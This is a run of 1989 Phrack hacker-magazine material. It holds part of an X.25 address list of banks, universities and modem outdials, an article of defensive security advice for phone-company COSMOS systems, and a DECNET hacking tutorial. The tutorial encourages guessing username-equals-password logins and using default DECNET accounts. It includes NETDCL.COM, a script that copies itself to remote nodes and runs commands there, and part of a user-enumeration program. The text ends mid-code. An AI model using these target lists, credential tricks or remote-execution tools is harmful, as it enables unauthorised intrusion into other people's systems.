D 0311 030 508 793 Miami Outdial (Area 305) ?
0311 031 200 02200 National Computer Network of Chicago
0311 031 200 024 Illinois Outdial 2400 bps (Area 217 ?)
0311 031 200 03100 Continental Bank
0311 031 200 03200 Continental Bank
0311 031 200 04900 American Hospital Supply Corporation
0311 031 200 411 Illinois Outdial 1200 bps (Area 217 ?)
0311 031 201 07300 Commodity Information Services
0311 031 268 801 ADPUSA ADP Network Services Ltd.
0311 031 300 024 Michigan Outdial 2400 bps (Area 313)
0311 031 300 04000 ADP Network Services
0311 031 300 06200 Merit International (MIT)
0311 031 300 216 Michigan Outdial 1200 bps (Area 313)
0311 031 301 39800 Merit Computer
0311 031 400 07200 Environmental DataNetwork Inc.
0311 031 401 06500 McDonnel Douglas Automation (300 bps)
0311 031 401 06600 McDonnel Douglas Automation (110 bps)
0311 031 401 06700 McDonnel Douglas Automation (1200 bps)
0311 031 401 61000 McDonnel Douglas Automation (300 bps)
0311 031 500 02000 Bibliographic Retrieval Services
A 0311 040 100 612 Modemcity
A 0311 040 400 114 Georgia Outdial 1200 bps (Area 404)
A 0311 040 800 021 California Outdial 1200 bps? (Area 408)
0311 040 800 245 Bridge
B 0311 040 800 246 SCF
0311 041 201 4600 On-Line Systems Inc
0311 041 400 02000 A.O. Smith Data Systems Divisions
0311 041 400 021 Wisconsin Outdial 1200 bps (Area 414)
B 0311 041 500 020 LRS-Dialog 2
A 0311 041 500 02000 DIALOG Lockheed Information Systems
0311 041 500 02000*D DIALOG Lockheed DIALOG service
B 0311 041 500 048 LRS Dialog 2
0311 041 500 04800 DIALOG2 Lockheed Information Systems 2
0311 041 500 04800*D DIALOG1 Lockheed DIALOG service
0311 041 500 117 California Outdial 1200 bps (Area 415)
I 0311 041 500 210 Outdial USA
A 0311 041 500 215 Outdial (Area 415)
A 0311 041 500 217 Outdial (Area 415)
A 0311 041 500 220 Outdial 1200 bps (Area 415)
0311 041 500 48000 Lockheed Information Systems (?)
B 0311 041 500 607 BIONET
B 0311 041 500 609 INTELLIGENETICS
0311 041 501 23600 Hydrocomp Inc (300 bps)
0311 041 501 23700 Hydrocomp Inc (1200 bps)
0311 041 501 26800 ITEL Corp (300 bps)
0311 041 501 26900 ITEL Corp (1200 bps)
0311 041 501 59700 Stanford Library Centre for Inform
Processing
0311 041 501 59700 Standard Centre for Information Processing
O 0311 050 006 1 Nuclear Research
A 0311 050 300 020 Outdial 300 bps (Area 503)
A 0311 050 300 021 Oregon Outdial 1200 bps (Area 503)
B 0311 050 500 060 ICN (=LASL)
B 0311 051 300 03000 Mead Data Central
0311 051 501 39600 State University of New York
0311 051 600 02200 Timesharing Resources
D 0311 060 200 020 Outdial 300 bps (Area 602)
D 0311 060 200 021 Outdial 1200 bps (Area 602)
B 0311 060 200 150 Phoenix
0311 060 201 60900 Timesharing Associates
B 0311 060 300 020 Dartmouth College
0311 060 300 02000 DARTMTH Dartmouth College, USA
0311 060 300 05000 Corporate Timesharing
0311 060 301 54700 Raytheon Company Scientific Computer
Service
X 0311 060 700 02000 CORNELL0 Cornell University (134.5 bps)
T 0311 060 700 02100 CORNELL1 Cornell University (300 bps)
T 0311 060 700 02200 CORNELL2 Cornell University (1200 bps)
0311 060 700 02300 CORNELL3 Cornell University (1200 bps)
0311 060 700 03600 TIPO Computer
0311 060 702 00 CORNELL2 Cornell University
0311 060 702 00 CORNELL2 Cornell University
0311 060 800 02500 University of Wisconsin
0311 060 801 6630 University of Wisconsin
0311 060 900 4200 Dow-Jones
0311 061 200 02500 Honeywell Inform Services Datanetwork
0311 061 200 02700 Honeywell Inform Services Datanetwork
0311 061 200 121 Minnesota Outdial 1200 bps (Area 612)
0311 061 201 06500 Honeywell Inform Services Datanetwork,
300 bps
0311 061 201 06500 Honeywell Inform Services Datanetwork
0311 061 201 06600 Honeywell Inform Services Datanetwork,
110 bps
0311 061 201 06700 Honeywell Inform Services Datanetwork,
300 bps
0311 061 201 06900 Honeywell Inform Services Datanetwork,
134 bps
B 0311 061 400 021 CAS online
D 0311 061 400 02124 CASUSA STN International
0311 061 700 02000 Bolt Beranek & Newman
0311 061 700 02300 Computer Corporation of America
0311 061 700 02400 AVCO Computer Services
0311 061 700 03600 Data Resources Inc
0311 061 700 03800 BBN-RCC
0311 061 700 03800 Bolt Beranek & Newman
0311 061 700 06700 Management Decision Systems Inc
0311 061 700 07000 Interactive Science Corp
0311 061 700 07600 Interactive Science Corp
0311 061 700 08000 III Systems Inc
B 0311 061 700 08401 LCG
0311 061 700 12000 Cullinane Corp
0311 061 700 13700 Masachusetts Institute of Technology
0311 061 700 13800 Masachusetts Institute of Technology
0311 061 700 13900 Masachusetts Institute of Technology
0311 061 700 14000 Masachusetts Institute of Technology
B 0311 061 700 270 Waltham
B 0311 061 700 609 Package
B 0311 061 700 613 BBN10
B 0311 061 700 614 BBNVAX
0311 061 701 01600 Data Resources Inc (300 bps)
0311 061 701 01900 Data Resources Inc (300 bps)
0311 061 701 16100 First Data Division/ADP Inc
0311 061 701 16200 First Data Division/ADP Inc
0311 061 701 25800 Data Resources Inc (134.5 bps)
0311 061 701 26900 Interactive Management Systems
0311 061 701 27500 Masachusetts Institute of Technology
0311 061 701 39000 Masachusetts Institute of Technology
0311 061 701 40300 Masachusetts Institute of Technology
0311 061 703 088 Delphi
0311 061 900 050 California Outdial 1200 bps (Area 619)
0311 070 300 02000 Litton Computer Services
0311 070 300 02100 American Management Systems
0311 070 300 056 PRC Computer Centre Inc
0311 070 300 117 Virginia Outdial 2400 bps (Area 703)
B 0311 070 300 50000 NIH-EPA (CIS)
0311 070 305 05200 Digital Broadcasting Corporation
0311 071 300 024 Texas Outdial 2400 bps (Area 713)
0311 071 300 114 Texas Outdial 1200 bps (Area 713)
0311 071 301 08300 Corporate Services Inc
0311 071 301 56500 Rice University
0311 071 400 02000 SCIAPP Science Applications Inc.
0311 071 401 13700 Engineering Supervision Co
0311 071 700 02000 Brodart Inc
A 0311 080 100 020 Outdial 300 bps (Area 801)
A 0311 080 100 021 Utah Outdial 1200 bps (Area 801)
B 0311 080 100 054 ES
0311 080 101 13700 Environmentech Information Systems
0311 080 400 02000 Multiple Access Computer Group
X 0311 080 800 01046 UKIRTUK Infra Red Telescope in Hawaii
X 0311 080 800 040 UKIRT UK Infra Red Telescope in Hawaii
A 0311 081 300 020 Outdial 300 bps (Area 813)
A 0311 081 300 021 Florida Outdial 1200 bps (Area 813)
D 0311 081 305 518 Tampa Outdial (Area 813) ?
0311 081 800 021 California Outdial 1200 bps (Area 818)
D 0311 090 900 80000 JPLM3 Jet Propulsion Laboratory mail 2, USA
0311 090 900 8100 Telemail
0311 091 400 02200 Electronic Tabulating Corporation
0311 091 600 050 California Outdial 1200 bps (Area 916)
A 0311 091 900 020 Outdial 300 bps (Area 919)
A 0311 091 900 021 Outdial 1200 bps (Area 919)
0311 3 RCA USA - RCA (RCAG)
0311 9 USA - TRT
0312 4 USA - FTCC
0312 5 USA - Uninet
0312 521 210 1 DIALOG6 Lockheed Info Systems
D 0312 561 703 080 UNINET
B 0312 561 703 088 Delphi
0312 6 AUTONET USA - Autonet
0312 688 01 AUTONET AUTONET Information
0312 7 USA - Telenet
0313 2 COMPU USA - Compuserve
0313 6 USA - Geisco
0334 Mexico
0334 0 Telepac
0340 FA French Antilles (Martinique (Curacau?))
0340 0 Dompac/NTI
0342 BDS Barbados
0342 235 191 9169
0350 Bermuda
0350 3 PSDS
0425 IL Israel
0425 1 Isranet
B 0425 130 000 215 Israelbox
0426 BRN Bahrain
0426 3 BTC
0431 DXB United Arab Emirates - Dubai
0440 J Japan
0440 1 DDX-P
B 0440 129 431 04 KEK VAX
B 0440 129 431 21 Tsukuba Uni
0440 8 VENUSP Venus-P (Japanese data network)
I 0440 820 023 KDD ?
B 0440 820 060 01 KDD KDD Test Host, TOKYO
0442
B 0442 110 403 25 OKI
B 0442 433 403 07 CMES
0450 South Korea
0450 1 Dacom/DNS
0454 HK Hong Kong
0454 2 Intelpak
0454 5 Datapak
A 0454 550 010 4 HKDATA Hong Kong DATAPAK Info
A 0454 550 043 1 DATAFAX
0487 Taiwan
0487 2 Pacnet
0487 7 Udas
0505 AUS Australia
0505 2 Austpac
0505 228 621 000 Anglo/Australian Observatory
0505 228 621 001 CSIRO Radio-Physics
0505 228 621 001 FTP for Epping
0505 233 422 000 MELBUNI Melbourne Univ. Australia
A 0505 273 720 000 UQ Univ. of Queensland Australia
A 0505 273 720 000 UQXA University of Queensland ANF-10 gateway
D 0505 273 722 0000 Uni Queensland
0505 282 620 000 FTP For Austek
A 0505 282 620 000 VAX in Sidney, Australia
0505 3 Midas
0505 321 000 1 Network test
0505 321 000 3 MIDAS FOX Test
0510 Indonesia
0510 1 PSDS (1986)
0525 SGP Singapore
0525 2 Telepac
A 0525 211 668 8 TELEPAC Telepac Info
0530 NZ New Zealand
0530 1 P.S.S. (Pacnet)
0530 171 000 004 WAIKATO Univ of Waikato New Zealand
B 0530 197 000 016 ASMAIL
0547 Fr.Polyn.
0547 0 Tompac
0612 Ivory Coast
0612 2 Sytranpac
0647 Reunion
0647 0 Dompac/NIT
0655 ZA South Africe
0655 0 Saponet
D 0655 011 101 207 UNI-NET
0714 Panama
0714 1 Intelpac
0722 Argentinia
0722 2 Arpac
I 0722 221 110 0171
0724 BR Brazil
0724 0 Interdata
0724 1 Renpac
D 0724 782 450 8 Nuclear Research Institute
0730 Chile
0730 0 Entel
0732 Colombia
0732 0
0742 French Guiana
0742 0 Dompac/NTI
0900 USA ?
0900 0 Dialnet
==============================================================================
|
| Local addresses on KOMETH (0228 479 110 86):
|
| 11 KOMETH-Informations
| 120 Modems 1200 bps (predefined numbers, some with a PW)
| 124 Modems 2400 bps ( " " , " " a PW)
| 130 Modems 300 bps ( " " , " " a PW)
| 1D0 RZ-VAX (EZRZ1)
| 300 ETZ-VAX (CUMULI)
| 520 ETHICS, Library database
| D11 PSI-Informations
| C000 Time
| C025 X25 Gateway (RZU, with password)
| C011 NUZ-Informations
| C100 RZU, VM/SP, full-screen
|
| There are two information systems on the RZ-VAX:
|
| MAC-BBS BBS with Mac-specific informations. Access for validated users
| only (that means that you have to type in your name, address and
| whether you're a student at the ETH or not and then wait a few
| days).
| (Username=MAC)
| VisInfo Informations server of the VIS (Verein der InformatikStudenten)
| Contains some boards with mail from several networks and from
| local sources. Has a CHAT (closed during prime time hours). Free
| access.
| (Username=VISINFO)
|
===============================================================================
|
| Local addresses at CERN (0228 468 114 0510):
|
| 17 Lyon (own network)
| 23 PAD
| 31 VXOMEG
| 41 Wisconsin/Madison
| 42 CERNLINE 193
| 45 DECserver
| 51 ALEPH
| 56 MERLIN VAX
| 61 (Prompt )
| 72 Wylbur / VM
| 100 Wylbur / VM
| 101 VM/370 CERNVM
| 102 VM/370 CERNVMB
| 103 VM/370 CERNVM
| 110 VXLDB1 VAX 8650 VMS 4.6
| 111 Information
| 112 VXSB
| 115 VXLDB1
| 120 Service CAD_CAM (VAX 8650+VAX785)/SYSTEME=VMS 4.6
| 121 CAD_CAM
| 122 VXCERN
| 123 VXCERN
| 124 BSD
| 125 CERNVM
| 127 PAD
| 130 L3 test beam VXC3
| 137 ALEPH-TPC
| 140 VXEPEL
| 141 DECserver 200 ("user friendly")
| 142 CERNADD
| 146 VXEPEL
| 147 Uni Genf TEC VAXTEC
| 151 CCVAX / DECserver 200
| 152 Uni Genf WA70
| 154 ALEPH 750 Fastbus VAX
| 161 MCR
| 162 MCR
| 166 VXWA80
| 167 cernvax
| 170 VXINFN
| 175 ALEPH
| 176 MCR with HELP
| X29 X25 Gateway
|
===============================================================================
|
| Addresses on Merit (0228 468 114 0583):
|
| The principal host computers on Merit are:
|
| Name System/machine Organization Location
| ---- ----------------- ------------------- -------------
| MSUnet-IBM VM/CMS IBM 3090-180 Michigan State Univ East Lansing
| OU Multics Honeywell Oakland Univ Rochester
| UB MTS IBM 3090-400 Univ of Michigan Ann Arbor
| UM MTS IBM 3090-400 Univ of Michigan Ann Arbor
| WM DECsystem-10 Western Michigan Univ Kalamazoo
| WU MTS Amdahl 470V/8 Wayne State Univ Detroit
|
| If you have a question about the use of the Merit Network, call
| (313) 764-9423 and ask for a user consultant.
|
| Other host computers and services available on the Merit network:
|
| Autonet CMU-Cyber CMU-IBM Datapac
| DIALOUT-AA DIAL1200-AA DIAL2400-AA DIAL300-AA
| EMU-VAX IGW ITI MAGNET
| MSU-CLSI MSU-CLVAX1 MSU-EGRNET MSU-IBM
| MSU MTU MTUS5 OU-SecsNet
| RPI RUAC Survey Telenet
| UM-Annex UM-CIC UM-CLINFO UM-dippy
| UM-DSC UM-EnginHarris UM-MMVAX UM-Public-Service
| UM-QuickSlides UM-RAVAX UM-zippy UMD-LIB
| UMLIB UMLIB-300 WAYNEST1 WAYNEST2
| WMU-CAE WMU-Kanga WMU-Pooh WMU-Puff
| WMU-Tigger WMU-Winnie WSU-CSVAX WSU-ET
| WSUNET ZOOnet-KCollege ZOOnet-KVCC ZOOnet-Nazareth
|
| Some of the other computers and services which can be accessed via Telenet,
| Autonet, and Datapac:
|
| ABA/NET ACP ADPNS-261 ADPNS-3
| ADPNS-446 ADPNS-9 Alberta ARTFL
| Automail-23 Automail-297 Boeing British-Columbia
| BRS Cal-Berkeley Calgary Caltech-HEP
| Carnegie-DEC-20 Carnegie-MICOM Carnegie-11/45 CompuServe
| Comshare Cornell Dalhousie DatapacInfo
| Dialcom Dialog Dow-Jones Guelph
| Guelph-Cosy Illinois Illinois-Cyber LEXIS
| Manitoba Maryland-Unix McGill MGH
| Minnesota-Cyber Minnesota-VAX MIT-Multics MIT-VM
| Montreal Natl-Lib-Med NCAR-Telenet New-Brunswick
| Newsnet NJIT-EIES NLM NLM-MCS
| Notre-Dame NRC NYTimes OAG
| Queens Rice SDC SFU
|______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue 27, File 5 of 12
COSMOS
COmputer System for Mainframe OperationS
Part Two
by King Arthur
This article will present solutions to the computer security problems
presented in my previous file. The following are simple but often neglected
items which if properly treated can immensely increase your company's computer
security. These points apply not merely in regards to COSMOS, but to all
computers in all companies.
A) Dial-Up Security:
When securing a computer system, regardless of its type, it's important to
remember this: the only way someone can remotely access your system is if there
is a dial-up line leading to that system. If your system has a dial-up, make
sure that you have taken every possible precaution to secure that line. "The
one piece of advice I would give is: Be careful with dial-up lines," says
Bellcore's Ed Pinnes.
Dave Imparato, Manager of Database Management at New York Telephone, says,
"We have devices that sit in front of our computers that you have to gain
access to. In order to even get to COSMOS, there are three or four levels of
security you have to go through, and that's before you even get to the system."
Rules for protection of Dial-Up lines:
1. Have as few dial-up lines as possible. Private lines or direct connections
are often a viable replacement for dial-up lines.
2. If you must have phone lines going to your computer, use external hardware,
if possible. For instance, the Datakit Virtual Circuit Switch (VCS) will
require a user to specify an "access password" and a system destination to
specify which system you are calling. The VCS would then connect you to
the requested system which would prompt you for a login and password.
Using hardware similar to this serves a double purpose:
A) It is harder for someone to get into your computer, due to
additional passwords;
B) Employees need only dial a single number to access a number of
systems.
Another good type of hardware is a callback modem. A callback modem will
prompt users for a login and password. If these are correct, the modem
will automatically callback to a predetermined number. At that point you
would login to the computer. The advantage of callback is that unless a
call is placed from a certain phone, there is no way to connect.
Unfortunately, this is not always efficient for systems with large numbers
of users.
Lastly, and the most effective means of access, is to have a system which
does not identify itself. A caller has to enter a secret password, which
doesn't display on the screen. If a caller doesn't type the correct
password, the system will hang up, without ever telling the caller what has
happened.
3. If you ever detect "hackers" calling a certain number, it is advisable to
change that number. Phone numbers should be unlisted. According to a
hacker, he once got the number to an AT&T computer by asking directory
assistance for the number of AT&T at 976 Main Street.
4. If dial-up lines aren't used on nights or weekends, they should be
disabled. Computer hackers usually conduct their "business" on nights or
weekends. The COSMOS system has the ability to restrict access by time of
day.
B) Password Security:
Using the analogy between a computer and a file cabinet, you can compare a
password to the lock on your file cabinet. By having accounts with no
passwords you are, in effect, leaving your file cabinet wide open. A system's
users will often want passwords that are easy to remember. This is not an
advisable idea, especially for a database system with many users. The first
passwords tried by hackers are the obvious. For instance if MF01 is known to
be the user name for the frame room, a hacker might try MF01, FRAME, MDF, or
MAINFRAME as passwords. If it's known to a hacker that the supervisor at the
MDF is Peter Pinkerton, PETE or PINKERTON would not be very good passwords.
Rules for password selection:
1. Passwords should be chosen by system administrators or the like. Users
will often choose passwords which provide no security. They should not be
within the reach of everybody in the computer room, but instead should be
sent via company mail to the proper departments.
2. Passwords should be changed frequently, but on an irregular basis -- every
four to seven weeks is advisable. Department supervisors should be
notified of password changes via mail, a week in advance. This would
ensure that all employees are aware of the change at the proper time. One
thing you don't want is mass confusion, where everybody is trying to figure
out why they can't access their computers.
3. System administrators' passwords should be changed twice as often because
they can allow access to all system resources. If possible, system
administrator accounts should be restricted from logging in on a dial-up
line.
4. A password should NEVER be the same as the account name. Make sure that
ALL system defaults are changed.
5. Your best bet is to make passwords a random series of letters and numbers.
For example 3CB06W1, Q9IF0L4, or F4W21D0. All passwords need not be the
same length or format. Imparato says, "We built a program in a PC that
generates different security passwords for different systems and makes sure
there's no duplication."
6. It's important to change passwords whenever an employee leaves the company
or even changes departments. Imparato says, "When managers leave our
organization, we make sure we change those passwords which are necessary to
operate the system."
7. The Unix operating system has a built-in "password aging" feature, which
requires a mandatory change of passwords after a period of time. If you
run any Unix-based systems, it's important to activate password aging.
8. When you feel you have experienced a problem, change ALL passwords, not
just those passwords involved with the incident.
C) Site security:
There have been a number of articles written by hackers and published in
2600 Magazine dealing with garbage picking or what hackers call "trashing".
It's important to keep track of what you throw out. In many companies,
proprietary operations manuals are thrown out. COSMOS itself is not a
user-friendly system. In other words, without previous exposure to the system
it would be very difficult to operate. Bellcore's Beverly Cruse says, "COSMOS
is used in so many places around the country, I wouldn't be surprised if they
found books... in the garbage, especially after divestiture. One interesting
thing about a COSMOS article written by hackers, is that there was a lot of
obsolete information, so it shows that wherever the information came from... it
was old."
Rules for site security:
1. Although it may seem evident, employees should be required to show proper
identification when entering terminal rooms or computer facilities. It's
doubtful that a hacker would ever attempt to infiltrate any office, but
hackers aren't the only people you have to worry about.
2. Urge employees to memorize login sequences. It's a bad idea for passwords
to be scribbled on bits of paper taped to terminals. Eventually, one of
those scraps may fall into the wrong hands.
3. Garbage should be protected as much as possible. If you use a private
pick-up, keep garbage in loading docks, basements, or fenced-off areas. If
you put your garbage out for public sanitation department pick-up, it's a
good idea to shred sensitive materials.
4. Before throwing out old manuals or books, see if another department could
make use of them. The more employees familiar with the system, the less of
a chance that there will be a security problem.
5. Printing terminals should be inspected to make sure that passwords are not
readable. If passwords are found to echo, check to see if the duplex is
correct. Some operating systems allow you to configure dial-ups for
printer use.
D) Employee Security:
When a hacker impersonates an employee, unless he is not successful there
is a great chance the incident will go unreported. Even if the hacker doesn't
sound like he knows what he's talking about, employees will often excuse the
call as an unintelligent or uninformed person. It's unpleasant to have to
worry about every call with an unfamiliar voice on the other end of the phone,
but it is necessary.
Rules for employee security:
1. When making an inter-departmental call, always identify yourself with:
1) Your name; 2) Your title; and 3) Your department and location.
2. Be suspicious of callers who sound like children, or those who ask you
questions that are out of the ordinary. Whenever someone seems suspicious,
get their supervisor's name and a callback number. Don't discuss anything
sensitive until you can verify their identity. Don't ever discuss
passwords over the phone.
3. When there is a security problem with a system, send notices to all users
instructing them not to discuss the system over the phone, especially if
they do not already know the person to whom they are talking.
4. Remind all dial-up users of systems, before hanging up.
5. If security-minded posters are put up around the workplace, employees are
bound to take more care in their work and in conversations on the phone.
6. If managers distribute this and other computer security articles to
department supervisors employee security will be increased.
E) General Security:
Bellcore recently sent a package to all system administrators of COSMOS
systems. The package detailed security procedures which applied to COSMOS and
Unix-based systems. If you are a recipient of this package, you should re-read
it thoroughly to ensure that your systems are secure. Cruse says, "Last
year... I had a call from someone within an operating company with a COSMOS
security problem. All we really did was give them documentation which reminded
them of existing security features... There is built-in security in the COSNIX
operating system... We really didn't give them anything new at the time. The
features were already there; we gave them the recommendation that they
implement all of them."
If you feel you may not be using available security features to the
fullest, contact the vendors of your computer systems and request documentation
on security. Find out if there are security features that you may not be
currently taking advantage of. There are also third party software companies
that sell security packages for various operating systems and computers.
Computer security is a very delicate subject. Many people try to pretend
that there is no such thing as computer crime. Since the problem exists, the
best thing to do is to study the problems and figure out the best possible
solutions. If more people were to write or report about computer security, it
would be easier for everyone else to protect themselves. I would like to see
Bellcore publish security guidelines, available to the entire
telecommunications industry. Keep in mind, a chain is only as strong as its
weakest link.
_______________________________________________________________________________
==Phrack Inc.==
Volume Three, Issue 27, File 6 of 12
<<<<<<<<<<<<<<<<<<<<<<*>>>>>>>>>>>>>>>>>>>>>>
<<< >>>
<<< Looking Around In DECNET >>>
<<< >>>
<<< by Deep Thought of West Germany >>>
<<< >>>
<<< June 1, 1989 >>>
<<< >>>
<<<<<<<<<<<<<<<<<<<<<<*>>>>>>>>>>>>>>>>>>>>>>
Disclaimer: I take no responsibility for any use or abuse of the information
contained in this article, nor for any damage caused by the use of
methods described. DECNET, VAX, and VMS are possibly registered
trademarks of Digital Equipment Corporation.
There comes a time when every somewhat intelligent programmer asks: Is hacking
difficult? Now, being in a university network, why don't just give it a try?
Since one is an official student and somewhat authorized to use the computing
facilities, testing the modern means of communication should cause no trouble.
Well, you start searching on those nodes, you have official access for
interesting programs and procedures. And you find: Netdcl, just one program
of many, that obviously enables one to run commands on remote nodes without
having an account on these nodes. A really interesting thing, as nearly
everything is allowed that a normal user can do.
The dear reader may start to think: Wasn't there always the shouting about VMS
being the MOST SECURE computer system, making it UNPENETRABLE to hackers? Ok,
cool down, this feature can be disabled and so, you think, if someone has super
secret data on his VAX, he will stop any use or abuse of this feature.
2nd Act -- Somewhere one has heard about some mystery things called system
calls. Since one always wanted to know about how to react on keystrokes on a
VAX (really being not trivial!) you start reading the manuals more precisely to
find out how to do it in Pascal.
Randomly on browsing thru the pages you discover functions which deliver
information about Userids. This comes in handy, as a friend engaged in
university politics wants to distribute a leaflet by email to all registered
users. In fact, it's completely unproblematic to gain a list of all users. An
example program, although written in Assembler, is even contained in the
manuals. Enjoy a list of 1000 Userids complete with information about network
access rights. The Pascal program is contained in Appendix B (later in this
file).
Sorry, passwords are not stored in this list. Even the Sysop can't access
them, so that's no great loss. Guess what passwords many accounts have? Sure,
just try the username. It's really amazing how ignorant users can be. Of
course this is a problem of group-accounts, that many users have access to and
must know the password. Nevertheless, the hole is there.
The real hacker, once he has logged in on such an account surely finds ways to
gain system privilege. This requires in-depth knowledge of the Kernel of VMS
and is another story I won't deal with.
What is DECNET?
~~~~~~~~~~~~~~~
DECNET is the means, by which computers from Digital Equipment Corporation
(DEC) can be connected to each other. Each computer in this network has an
address which is normally given by x.y where x is the area number (an integer)
and y is the node number in this area which ranges from 1 to 1023. To access
DECNET nodes, one specifies just one number, which can be computed from x and y
by the following formula:
nodenumber = x * 1024 + y
Often nodes, especially local nodes (having the same area number as your
current node) have names assigned to them so they can be memorized more easily.
Interesting DECNET Commands
~~~~~~~~~~~~~~~~~~~~~~~~~~~
To get a (first) list of available DECNET nodes, try the command
$ SHOW NET
The $ (as in the following examples) is the default prompt of VMS and should
not be entered. This Command will give you a list of (hopefully) reachable
nodes. All lines of the output contain the network address in the form x.y and
normally a name which this node is known by.
Your current node is mentioned in the first line in "VAX/VMS network status for
local node X.Y Name". In most cases you will then just see local nodes listed
and a line saying "The next hop to the nearest area router is node XX.YY".
This node contains more information about the DECNET than the node you are
currently on. If you have an account on the specified node, log on there and
try again. If not, well, play with the local nodes listed and look at the
command NCP shown later.
Now, what can you do with those nodes that were mentioned in the output?
First command is
$ SET HOST <node>
Where <node> is either a nodename or a nodenumber (see above). Thus, if SDIVAX
was listed in the SHOW NET list as 42.13, then you may try both SET HOST SDIVAX
or SET HOST 43021 (42*1024+13 = 43021). Probably you'll get that ugly
Username: prompt. You're on your own then.
Second thing you can do with DECNET is email. On VMS the MAIL program can send
mail to other users. If you and your friend both have accounts on the same
DECNET, you can send him mail if you know his nodename or nodenumber by
specifying SDIVAX::FREDDY or 43021::FREDDY.
Then there is PHONE. This is a utility to talk to another (or several) user(s)
on a DECNET. If you want to call Freddy, just type PHONE SDIVAX::FREDDY. If
he is logged in, his terminal will ring and if he answers his phone (with PHONE
ANSWER) you may chat with him. PHONE has another nice feature built in: You
may ask for a list of active users on a remote name by %DIR SDIVAX. See the
online help on PHONE for further details.
The next really mighty DECNET facility is remote file access. Valid filenames
in VMS consist of the components node, disk, directory and filename. An
example for a valid filename is SDIVAX::DISK$2:[NASA.SECRET]SDI.DOC where some
components may be omitted and default values are used instead.
File names including the node specification may be used in nearly all VMS
commands examples being DIR, TYPE and COPY. Access to the specified file is
granted, if the protection of the file allows access by world, or if the owner
of the file is the user DECNET. This pseudo userid is available on every VAX
and has the password DECNET. Access to that account is limited to network
processing so you can't just log in with Username=DECNET, password=DECNET. By
default a special directory owned by the User DECNET exists on each node. This
directory can be accessed by just specifying the nodename without any disk or
directory information, as in
$ DIR SDIVAX::
If users played too much with this feature, the directory may be protected or
otherwise disabled.
The last feature described here is the remote command processing facility. If
you try to open a file with the specification
$ SDIVAX::"task=foo.com"
Instead of opening the DCL procedure, foo.com will be executed. To make use of
this feature easily, programs have been written to interactively communicate
with a remote host. The command procedure NETDCL.COM does this task and is
contained in the Appendix A (seen later in this file. Look at this
DCL-Procedure to learn more about DECNET features.
The Key To Universal Knowledge
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
There is a pearl under the programs on a VAX. It's called NCP and will give
readily information about the whole DECNET. You start this program either by
MCR NCP or by doing a SET DEF SYS$SYSTEM and RUN NCP. Use the on-line Help
provided in NCP (which means Network Control Program) to learn more.
NCP> SHOW KNOWN NODES
Provides a list of all nodes known on your current node, including the names
you may use as node specifications. But there is more: You may connect to
another node's database and get a list of nodes which are known at the remote
node with
NCP> SET EXEC SDIVAX
And then again the SHOW KNOWN NODES command. This feature should provide you
with a nearly infinite list of node names and node numbers.
Conclusion
~~~~~~~~~~
There are many nice features available under DECNET. Probably I don't know
all, but I hope this article showed you the mighty tools available on VMS to
make network life easier.
WARNING: The author has had bad experiences with some node administrators,
who didn't like their machines being contacted over DECNET. Yes,
that's the drawback, each DECNET activity is written to a protocol
file that is printed and deleted every month. So you should be
careful in using DECNET.
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
APPENDIX A:
The Procedure NETDCL.COM, sometimes called TELL.COM, NET.COM
-----------------------
$ IF f$mode() .EQS. "NETWORK" THEN GOTO network
$ IF p1 .EQS. "" THEN READ/PROMPT="_Node: " sys$command p1
$ nodespec = p1 - "::"
$ nodename = f$extract(0,f$locate("""",nodespec),nodespec)
$! include the following line for "hard cases"
$! nodespec = nodespec+"""decnet decnet"""
$ ON WARNING THEN CONTINUE
$ CLOSE/ERR=open_server dcl_server
$open_server:
$ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"/ERROR=open_failure
$ ON WARNING THEN GOTO exit
$flush_output:
$ READ dcl_server record
$ IF record .EQS. "SEND_ME_A_COMMAND" -
THEN GOTO send_command
$ WRITE sys$output record
$ GOTO flush_output
$send_command:
$ IF p2 .NES. "" THEN GOTO single_command
$ READ sys$command record /PROMPT="''nodename'> " /END=exit
$ record := 'record
$ IF record .EQS. "EXIT" THEN GOTO exit
$ WRITE dcl_server record
$ GOTO flush_output
$single_command:
$ command := 'p2' 'p3' 'p4' 'p5' 'p6' 'p7' 'p8'
$ WRITE dcl_server command
$single_flush:
$ READ dcl_server record
$ IF record .EQS. "SEND_ME_A_COMMAND"-
$ THEN GOTO exit
$ WRITE sys$output record
$ GOTO single_flush
$open_failure:
$ ON WARNING THEN EXIT
$ COPY/LOG Netdcl.Com 'nodespec'::
$ WAIT 0:0:1
$ OPEN/READ/WRITE dcl_server 'nodespec'::"TASK=NETDCL"
$ ON WARNING THEN GOTO exit
$ GOTO flush_output
$exit:
$ CLOSE dcl_server
$ EXIT
$network:
$ OPEN/READ/WRITE dcl_link sys$net
$ SET NOON
$ dcl_verify = 'f$verify(0)'
$ DEFINE sys$output dcl_link:
$server_loop:
$ WRITE dcl_link "SEND_ME_A_COMMAND"
$ READ dcl_link dcl_string /END_OF_FILE=server_exit /ERROR=server_exit
$ 'dcl_string'
$ GOTO server_loop
$server_exit:
$ IF dcl_verify THEN set verify
$ CLOSE dcl_link
$ DEASSIGN sys$output
$ EXIT
-----------------------
APPENDIX B
ALLUSER.PAS - Show all registered users
-----------------------
{
* alluser.pas - get names of all users
* by Deep, 1989
* This program is freely redistributable as long no modifications are made
* DISCLAIMER: I take no responsibility for any use or abuse of this
* program. It is given for informational purpose only.
*
* program history:
* 04-May-89 started
* 02-Jun-89 clean up of code
}
[inherit ('sys$library:starlet.pen')]
program alluser(input,output);
type $word = [word] 0..65535;
$byte = [byte] 0..255;
$quadword = record
lo,hi : unsigned;
end;
$uquad = record
lo,hi : unsigned;
end;
var
id: unsigned;
status, status2: integer;
length: $WORD;
attrib,context,context2,context3: unsigned;
ident, ident2: unsigned;
name: varying [512] of char;
holder: $uquad;
begin
writeln('Alluser - use at your own risk!');
status := SS$_NORMAL;
{ id = -1 selects next identifier }
id := -1;
context := 0;
while (status <> SS$_NOSUCHID) do
begin
{ find next identifier }
status := $idtoasc(id,name.length,name.body,ident,attrib,context);
if (status <> SS$_NOSUCHID) then begin
write(pad(name,' ',16));
if (ident div (65536*32768) > 0) then
{ it's a rights-list, so print the hex-value of the identifier }
begin
writeln(oct(ident,12));
context2 := 0;
context3 := 0;
{ find all holders of this right }
repeat
holder := zero;
status2 := $find_holder(ident,holder,attrib,context2);
if (holder.lo <> 0) then begin
ident2 := ident;
{ get UIC and username }
